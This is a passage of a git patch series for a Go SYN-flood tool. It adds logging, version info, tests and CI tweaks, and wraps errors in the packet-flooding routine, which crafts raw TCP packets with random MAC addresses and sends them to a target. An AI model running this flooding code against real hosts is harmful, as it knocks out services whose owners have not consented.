h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= +github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/prashantv/gostub v1.1.0 h1:BTyx3RfQjRHnUWaGF9oQos79AlQ5k8WNktv7VGvVH4g= @@ -43,11 +46,20 @@ github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.uber.org/atomic v1.10.0 h1:9qC72Qh0+3MqyJbAn8YU5xVq1frD8bn3JtD2oXtafVQ= +go.uber.org/atomic v1.10.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0= go.uber.org/automaxprocs v1.5.1 h1:e1YG66Lrk73dn4qhg8WFSvhF0JuFQF0ERIp4rpuV8Qk= go.uber.org/automaxprocs v1.5.1/go.mod h1:BF4eumQw0P9GtnuxxovUd06vwm1o18oMzFtK66vU6XU= +go.uber.org/goleak v1.1.11 h1:wy28qYRKZgnJTxGxvye5/wgWr1EKjmUDGYox5mGlRlI= +go.uber.org/multierr v1.8.0 h1:dg6GjLku4EH+249NNmoIciG9N/jURbDG+pFlTkhzIC8= +go.uber.org/multierr v1.8.0/go.mod h1:7EAYxJLBy9rStEaz58O2t4Uvip6FSURkq8/ppBp95ak= +go.uber.org/zap v1.23.0 h1:OjGQ5KQDEUawVHxNwQgPpiypGHOxo2mNZsOqTak4fFY= +go.uber.org/zap v1.23.0/go.mod h1:D+nX8jyLsMHMYrln8A0rJjFt/T/9/bGgIhAqxv5URuY= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20220131195533-30dcbda58838/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= @@ -86,5 +98,6 @@ gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8 gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/hack/coverage.sh b/hack/coverage.sh new file mode 100644 index 0000000..cd71312 --- /dev/null +++ b/hack/coverage.sh @@ -0,0 +1,5 @@ +#!/bin/bash + +go test ./... -race -p 1 -coverprofile=coverage.txt -covermode=atomic +go tool cover -html=coverage.txt -o cover.html +open cover.html diff --git a/internal/logging/logging.go b/internal/logging/logging.go new file mode 100644 index 0000000..0dc98e5 --- /dev/null +++ b/internal/logging/logging.go @@ -0,0 +1,32 @@ +package logging + +import ( + "os" + + "go.uber.org/zap" + "go.uber.org/zap/zapcore" +) + +var ( + logger *zap.Logger + Atomic zap.AtomicLevel +) + +func init() { + Atomic = zap.NewAtomicLevel() + Atomic.SetLevel(zap.InfoLevel) + logger = zap.New(zapcore.NewTee(zapcore.NewCore(zapcore.NewJSONEncoder(zapcore.EncoderConfig{ + MessageKey: "message", + LevelKey: "severity", + EncodeLevel: zapcore.LowercaseLevelEncoder, + TimeKey: "time", + EncodeTime: zapcore.RFC3339TimeEncoder, + CallerKey: "caller", + EncodeCaller: zapcore.FullCallerEncoder, + }), zapcore.Lock(os.Stdout), Atomic))) +} + +// GetLogger returns the shared *zap.Logger +func GetLogger() *zap.Logger { + return logger +} diff --git a/internal/logging/logging_test.go b/internal/logging/logging_test.go new file mode 100644 index 0000000..d063c57 --- /dev/null +++ b/internal/logging/logging_test.go @@ -0,0 +1,13 @@ +package logging + +import ( + "testing" + + "github.com/stretchr/testify/assert" +) + +// TestGetLogger function tests if GetLogger function running properly +func TestGetLogger(t *testing.T) { + logger := GetLogger() + assert.NotNil(t, logger) +} diff --git a/internal/options/options.go b/internal/options/options.go index 26a1b6e..e47c856 100644 --- a/internal/options/options.go +++ b/internal/options/options.go @@ -19,4 +19,8 @@ type SynFloodOptions struct { FloodType string // FloodDurationSeconds is the duration of the attack with seconds. Defaults to -1 which means FloodDurationSeconds int64 + // BannerFilePath is the relative path to the banner file + BannerFilePath string + // VerboseLog is the verbosity of the logging library + VerboseLog bool } diff --git a/internal/raw/raw.go b/internal/raw/raw.go index 55b434b..6ca4832 100644 --- a/internal/raw/raw.go +++ b/internal/raw/raw.go @@ -2,16 +2,22 @@ package raw import ( "fmt" + "github.com/bilalcaliskan/syn-flood/internal/logging" "github.com/google/gopacket" "github.com/google/gopacket/layers" + "github.com/pkg/errors" "github.com/schollz/progressbar/v3" + "go.uber.org/zap" "golang.org/x/net/ipv4" "math/rand" "net" "time" ) +var logger *zap.Logger + func init() { + logger = logging.GetLogger() // initialize global pseudo random generator rand.Seed(time.Now().Unix()) } @@ -27,7 +33,7 @@ func StartFlooding(stopChan chan bool, destinationHost string, destinationPort, destinationHost, err = resolveHost(destinationHost) if err != nil { - return err + return errors.Wrap(err, "unable to resolve host") } description := fmt.Sprintf("Flood is in progress, target=%s:%d, floodType=%s, payloadLength=%d", @@ -61,11 +67,11 @@ func StartFlooding(stopChan chan bool, destinationHost string, destinationPort, } if err = ipPacket.SerializeTo(ipHeaderBuf, opts); err != nil { - return err + return errors.Wrap(err, "unable to serialize") } if ipHeader, err = ipv4.ParseHeader(ipHeaderBuf.Bytes()); err != nil { - return err + return errors.Wrap(err, "unable to parse IP header") } ethernetLayer := buildEthernetPacket(macAddrs[rand.Intn(len(macAddrs))], macAddrs[rand.Intn(len(macAddrs))]) @@ -73,16 +79,16 @@ func StartFlooding(stopChan chan bool, destinationHost string, destinationPort, pyl := gopacket.Payload(payload) if err = gopacket.SerializeLayers(tcpPayloadBuf, opts, ethernetLayer, tcpPacket, pyl); err != nil { - return err + return errors.Wrap(err, "unable to serialize layers") } // XXX send packet if packetConn, err = net.ListenPacket("ip4:tcp", "0.0.0.0"); err != nil { - return err + return errors.Wrap(err, "unable to listen packets on 0.0.0.0") } if rawConn, err = ipv4.NewRawConn(packetConn); err != nil { - return err + return errors.Wrap(err, "unable to create raw connection over 0.0.0.0") } if err = rawConn.WriteTo(ipHeader, tcpPayloadBuf.Bytes(), nil); err != nil { @@ -90,7 +96,7 @@ func StartFlooding(stopChan chan bool, destinationHost string, destinationPort, } if err = bar.Add(payloadLength); err != nil { - return err + return errors.Wrap(err, "unable to increase bar length") } } } diff --git a/internal/raw/utils.go b/internal/raw/utils.go index b17825a..4145010 100644 --- a/internal/raw/utils.go +++ b/internal/raw/utils.go @@ -3,7 +3,8 @@ package raw import ( "context" "fmt" - "log" + "github.com/pkg/errors" + "go.uber.org/zap" "math/rand" "net" "regexp" @@ -44,7 +45,6 @@ func getMacAddrs() [][]byte { buf := make([]byte, 6) _, err := rand.Read(buf) if err != nil { - fmt.Println("error:", err) continue } macAddrs = append(macAddrs, buf) @@ -61,7 +61,8 @@ func isDNS(host string) bool { ) if res, err = regexp.MatchString(DnsRegex, host); err != nil { - log.Fatalf("a fatal error occured while matching provided --host with DNS regex: %s", err.Error()) + logger.Fatal("fatal error occurred while matching provided --host flag with DNS regex", zap.String("host", host), + zap.String("regex", DnsRegex), zap.String("error", err.Error())) } return res @@ -75,7 +76,8 @@ func isIP(host string) bool { ) if res, err = regexp.MatchString(IpRegex, host); err != nil { - log.Fatalf("a fatal error occured while matching provided --host with IP regex: %s", err.Error()) + logger.Fatal("fatal error occurred while matching provided --host flag with IP regex", zap.String("host", host), + zap.String("regex", IpRegex), zap.String("error", err.Error())) } return res @@ -84,17 +86,16 @@ func isIP(host string) bool { // resolveHost function gets a string and returns the ip address while deciding it is an ip address already or DNS record func resolveHost(host string) (string, error) { if !isIP(host) && isDNS(host) { - log.Printf("%s is a DNS record, making DNS lookup\n", host) + logger.Debug("already a DNS record provided, making DNS lookup", zap.String("host", host)) ipRecords, err := net.DefaultResolver.LookupIP(context.Background(), "ip4", host) if err != nil { - log.Printf("an error occured on dns lookup: %s\n", err.Error()) - return "", err + return "", errors.Wrapf(err, "an error occured on DNS lookup for %s", host) } - log.Printf("dns lookup succeeded, found %s for %s\n", ipRecords[0].String(), host) + logger.Debug("DNS lookup succeeded", zap.String("DNS", host), zap.String("IP", ipRecords[0].String())) host = ipRecords[0].String() } else { - log.Printf("%s is already an IP address, skipping DNS resolution\n", host) + logger.Debug("already an IP address, skipping DNS resolution", zap.String("host", host)) } return host, nil diff --git a/internal/version/version.go b/internal/version/version.go new file mode 100644 index 0000000..bd33a2f --- /dev/null +++ b/internal/version/version.go @@ -0,0 +1,31 @@ +package version + +import "runtime" + +var ( + gitVersion = "none" + gitCommit = "none" + buildDate = "none" +) + +var ver = Version{ + GoVersion: runtime.Version(), + GoOs: runtime.GOOS, + GoArch: runtime.GOARCH, + GitVersion: gitVersion, + GitCommit: gitCommit, + BuildDate: buildDate, +} + +type Version struct { + GoVersion string + GoOs string + GoArch string + GitVersion string + GitCommit string + BuildDate string +} + +func Get() Version { + return ver +} diff --git a/internal/version/version_test.go b/internal/version/version_test.go new file mode 100644 index 0000000..0c58477 --- /dev/null +++ b/internal/version/version_test.go @@ -0,0 +1,15 @@ +package version + +import ( + "testing" + + "github.com/stretchr/testify/assert" +) + +func TestGet(t *testing.T) { + ver := Get() + assert.NotNil(t, ver) + assert.Equal(t, ver.GitVersion, "none") + assert.Equal(t, ver.GitCommit, "none") + assert.Equal(t, ver.BuildDate, "none") +} From 919867a7c70865b165c691cd013831a78f57c7e0 Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Wed, 31 Aug 2022 00:27:31 +0300 Subject: [PATCH 08/22] ci: change target name for sonarcloud job --- .github/workflows/pr.yml | 2 +- .github/workflows/push.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index c5864b7..2a9fea1 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -77,7 +77,7 @@ jobs: with: go-version: 1.19.x - name: Coverage Test - run: make coverage + run: make -s test-with-coverage - name: SonarCloud Scan uses: SonarSource/sonarcloud-github-action@master env: diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 9f7f4ff..74107b6 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -86,7 +86,7 @@ jobs: with: go-version: 1.19.x - name: Coverage Test - run: make coverage + run: make -s test-with-coverage - name: SonarCloud Scan uses: SonarSource/sonarcloud-github-action@master env: From 45c4e22ed4089724b55ef841709acf175068d6c8 Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Wed, 31 Aug 2022 00:31:44 +0300 Subject: [PATCH 09/22] style: change location of revive.toml --- Makefile | 2 +- .revive.toml => build/ci/.revive.toml | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename .revive.toml => build/ci/.revive.toml (100%) diff --git a/Makefile b/Makefile index b669bdc..8f024de 100644 --- a/Makefile +++ b/Makefile @@ -48,7 +48,7 @@ lint-golangci-lint: .PHONY: lint-revive lint-revive: $(info running revive...) - $(LOCAL_BIN)/revive -formatter=stylish -config=.revive.toml -exclude ./vendor/... ./... || (echo revive returned an error, exiting!; sh -c 'exit 1';) + $(LOCAL_BIN)/revive -formatter=stylish -config=build/ci/.revive.toml -exclude ./vendor/... ./... || (echo revive returned an error, exiting!; sh -c 'exit 1';) $(info revive exited successfully!) .PHONY: upgrade-direct-deps diff --git a/.revive.toml b/build/ci/.revive.toml similarity index 100% rename from .revive.toml rename to build/ci/.revive.toml From 63b455789e2ce8ae35f0f9e71e68176fd02bde6a Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Sat, 3 Sep 2022 15:51:43 +0300 Subject: [PATCH 10/22] ci: privilege escalation on CI tests --- Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Makefile b/Makefile index 8f024de..8ad9fe0 100644 --- a/Makefile +++ b/Makefile @@ -104,11 +104,11 @@ run-vet: .PHONY: test test: tidy $(info starting the test for whole module...) - go test -failfast -vet=off -race ./... || (echo an error while testing, exiting!; sh -c 'exit 1';) + sudo go test -failfast -vet=off -race ./... || (echo an error while testing, exiting!; sh -c 'exit 1';) .PHONY: test-with-coverage test-with-coverage: tidy - go test ./... -race -coverprofile=coverage.txt -covermode=atomic + sudo go test ./... -race -coverprofile=coverage.txt -covermode=atomic .PHONY: update update: tidy From a5cac32d196658081a1e93e367032098473b47df Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Sat, 3 Sep 2022 16:16:12 +0300 Subject: [PATCH 11/22] ci: vendor after tidy --- Makefile | 1 + go.mod | 3 +-- go.sum | 17 ++--------------- 3 files changed, 4 insertions(+), 17 deletions(-) diff --git a/Makefile b/Makefile index 8ad9fe0..94d93e9 100644 --- a/Makefile +++ b/Makefile @@ -63,6 +63,7 @@ upgrade-direct-deps: tidy .PHONY: tidy tidy: go mod tidy + go mod vendor .PHONY: run-goimports run-goimports: go-imports-install diff --git a/go.mod b/go.mod index a1eed20..d0d6ada 100644 --- a/go.mod +++ b/go.mod @@ -6,7 +6,7 @@ require ( github.com/dimiro1/banner v1.1.0 github.com/google/gopacket v1.1.19 github.com/pkg/errors v0.9.1 - github.com/schollz/progressbar/v3 v3.9.0 + github.com/schollz/progressbar/v3 v3.10.0 github.com/spf13/cobra v1.5.0 github.com/stretchr/testify v1.8.0 go.uber.org/automaxprocs v1.5.1 @@ -27,7 +27,6 @@ require ( github.com/spf13/pflag v1.0.5 // indirect go.uber.org/atomic v1.10.0 // indirect go.uber.org/multierr v1.8.0 // indirect - golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90 // indirect golang.org/x/sys v0.0.0-20220829200755-d48e67d00261 // indirect golang.org/x/term v0.0.0-20220722155259-a9ba230a4035 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect diff --git a/go.sum b/go.sum index 72176ea..b1ff71b 100644 --- a/go.sum +++ b/go.sum @@ -21,7 +21,6 @@ github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= -github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= @@ -37,8 +36,8 @@ github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJ github.com/rivo/uniseg v0.3.4 h1:3Z3Eu6FGHZWSfNKJTOUiPatWwfc7DzJRU04jFUqJODw= github.com/rivo/uniseg v0.3.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/schollz/progressbar/v3 v3.9.0 h1:k9SRNQ8KZyibz1UZOaKxnkUE3iGtmGSDt1YY9KlCYQk= -github.com/schollz/progressbar/v3 v3.9.0/go.mod h1:W5IEwbJecncFGBvuEh4A7HT1nZZ6WNIL2i3qbnI0WKY= +github.com/schollz/progressbar/v3 v3.10.0 h1:pOab0roS2jf6zkEBKAe9EyEdmRKJvhbbuxqVp9/Qjyw= +github.com/schollz/progressbar/v3 v3.10.0/go.mod h1:0N6zRwbDVLFCFy5chxuukVlRkoHWYFFLzlxQrw/sf3M= github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU= github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= @@ -62,14 +61,10 @@ go.uber.org/zap v1.23.0 h1:OjGQ5KQDEUawVHxNwQgPpiypGHOxo2mNZsOqTak4fFY= go.uber.org/zap v1.23.0/go.mod h1:D+nX8jyLsMHMYrln8A0rJjFt/T/9/bGgIhAqxv5URuY= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20220131195533-30dcbda58838/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90 h1:Y/gsMcFOcR+6S6f3YeMKl5g+dZMEWqcz5Czj/GWYbkM= -golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20220826154423-83b083e8dc8b h1:ZmngSVLe/wycRns9MKikG9OWIEjGcGAkacif7oYQaUY= golang.org/x/net v0.0.0-20220826154423-83b083e8dc8b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -77,21 +72,13 @@ golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5h golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220829200755-d48e67d00261 h1:v6hYoSR9T5oet+pMXwUWkbiVqx/63mlHjefrHmxwfeY= golang.org/x/sys v0.0.0-20220829200755-d48e67d00261/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.0.0-20220722155259-a9ba230a4035 h1:Q5284mrmYTpACcm+eAKjKJH48BBwSyfJqmmGDTtT8Vc= golang.org/x/term v0.0.0-20220722155259-a9ba230a4035/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= From daae3d7a726168dd9a7698536393cbb8c6bd0820 Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Sat, 3 Sep 2022 16:22:15 +0300 Subject: [PATCH 12/22] ci: sdflkjasadf --- Makefile | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/Makefile b/Makefile index 94d93e9..0618c31 100644 --- a/Makefile +++ b/Makefile @@ -105,10 +105,14 @@ run-vet: .PHONY: test test: tidy $(info starting the test for whole module...) + sudo go mod tidy + sudo go mod vendor sudo go test -failfast -vet=off -race ./... || (echo an error while testing, exiting!; sh -c 'exit 1';) .PHONY: test-with-coverage test-with-coverage: tidy + sudo go mod tidy + sudo go mod vendor sudo go test ./... -race -coverprofile=coverage.txt -covermode=atomic .PHONY: update From 268519af1834a93c12515c2f604c7af13c52dff1 Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Sat, 3 Sep 2022 16:30:03 +0300 Subject: [PATCH 13/22] ci: set go version from gomod file --- .github/workflows/pr.yml | 10 +++++----- .github/workflows/push.yml | 12 ++++++------ 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 2a9fea1..e904075 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -12,7 +12,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.19.x + go-version-file: "go.mod" - name: Lint code run: make -s lint - name: Clean downloaded binaries @@ -26,7 +26,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.19.x + go-version-file: "go.mod" - name: Run fmt run: make -s fmt - name: Clean downloaded binaries @@ -44,7 +44,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.19.x + go-version-file: "go.mod" - name: Test run: make -s test @@ -75,7 +75,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.19.x + go-version-file: "go.mod" - name: Coverage Test run: make -s test-with-coverage - name: SonarCloud Scan @@ -101,7 +101,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.19.x + go-version-file: "go.mod" - name: Checkout code uses: actions/checkout@v3 - name: Test diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 74107b6..78d1c5e 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -13,7 +13,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.19.x + go-version-file: "go.mod" - name: Lint code run: make -s lint - name: Clean downloaded binaries @@ -27,7 +27,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.19.x + go-version-file: "go.mod" - name: Run fmt run: make -s fmt - name: Clean downloaded binaries @@ -43,7 +43,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.19.x + go-version-file: "go.mod" - name: Checkout code uses: actions/checkout@v3 - name: Test @@ -84,7 +84,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.19.x + go-version-file: "go.mod" - name: Coverage Test run: make -s test-with-coverage - name: SonarCloud Scan @@ -114,7 +114,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.19.x + go-version-file: "go.mod" - name: Checkout code uses: actions/checkout@v3 - name: Test @@ -164,7 +164,7 @@ jobs: - name: Install Go uses: actions/setup-go@v3 with: - go-version: 1.19.x + go-version-file: "go.mod" - name: Run GoReleaser uses: goreleaser/goreleaser-action@v2 with: From 35463c7ba9d75f6d9900db197b5c48420e2a5011 Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Sat, 3 Sep 2022 16:32:58 +0300 Subject: [PATCH 14/22] ci: run make commands with sudo --- .github/workflows/pr.yml | 4 ++-- .github/workflows/push.yml | 4 ++-- Makefile | 8 ++------ 3 files changed, 6 insertions(+), 10 deletions(-) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index e904075..bad93a4 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -46,7 +46,7 @@ jobs: with: go-version-file: "go.mod" - name: Test - run: make -s test + run: sudo make -s test codeql: runs-on: ubuntu-latest @@ -77,7 +77,7 @@ jobs: with: go-version-file: "go.mod" - name: Coverage Test - run: make -s test-with-coverage + run: sudo make -s test-with-coverage - name: SonarCloud Scan uses: SonarSource/sonarcloud-github-action@master env: diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 78d1c5e..f5a2056 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -47,7 +47,7 @@ jobs: - name: Checkout code uses: actions/checkout@v3 - name: Test - run: make -s test + run: sudo make -s test codeql: runs-on: ubuntu-latest @@ -86,7 +86,7 @@ jobs: with: go-version-file: "go.mod" - name: Coverage Test - run: make -s test-with-coverage + run: sudo make -s test-with-coverage - name: SonarCloud Scan uses: SonarSource/sonarcloud-github-action@master env: diff --git a/Makefile b/Makefile index 0618c31..2942a81 100644 --- a/Makefile +++ b/Makefile @@ -105,15 +105,11 @@ run-vet: .PHONY: test test: tidy $(info starting the test for whole module...) - sudo go mod tidy - sudo go mod vendor - sudo 